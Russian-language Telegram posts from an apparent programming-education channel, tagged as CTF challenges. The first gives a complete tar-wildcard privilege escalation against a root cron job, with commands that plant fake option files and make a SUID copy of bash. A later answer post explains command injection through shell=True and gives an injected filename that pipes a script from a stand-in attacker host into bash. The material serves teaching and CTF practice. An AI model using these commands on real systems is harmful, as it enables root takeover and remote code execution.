В cron у root:
* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *
Каталог доступен для записи www-data (777).
Команда tar * раскрывает имена файлов как аргументы. Если подложить файлы, имитирующие флаги, tar воспримет их как реальные параметры и выполнит произвольную команду от root.
Payload, который нужно поместить в /var/www/html:
echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh"
--checkpoint заставит tar выполнить x.sh в процессе архивации.
Скрипт создаёт /tmp/r — копию bash с SUID-битом.
После срабатывания cron:
/tmp/r -p
Вы получаете root.
запись в cron.d недоступна, shadow в архив ничего не даёт,
backup.sh не перезаписать.Правильный ответ: 🔥
🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5🔥2👍1👾1
Отвечайте реакциями:
👍 — SQL Injection в /api/search
👾 — Command Injection в /api/ping
🔥 — Command Injection в /api/backup
❤️ — Hardcoded credentials в коде
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾17🔥6❤5🥰1
Самая жёсткая уязвимость здесь — 🔥 Command Injection в /api/backup.
Это прямой RCE через shell=True + невалидированный filename.
И да, один из ребят уже очень подробно и метко разнёс этот кусок, подчёркивая, что эта строка — буквально «портал в ад». Разбор действительно точный — и технически полностью верный.
Почему /api/backup — самая опасная:
subprocess.run(cmd, shell=True) = полный контроль над системой.
Можно инжектить любые последовательности команд.
-p'secret123' расширяет возможности атаки до полного доступа к БД.Пример эксплуатации:
filename: "x.sql'; curl attacker/shell.sh | bash; echo ‘»
⚠️ Остальные уязвимости:
SQL Injection в /api/search — серьёзно, но ограничено БД
Command Injection в /api/ping — опасно, но имеет меньше возможностей
Hardcoded creds — плохо, но не даёт RCE само по себе
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2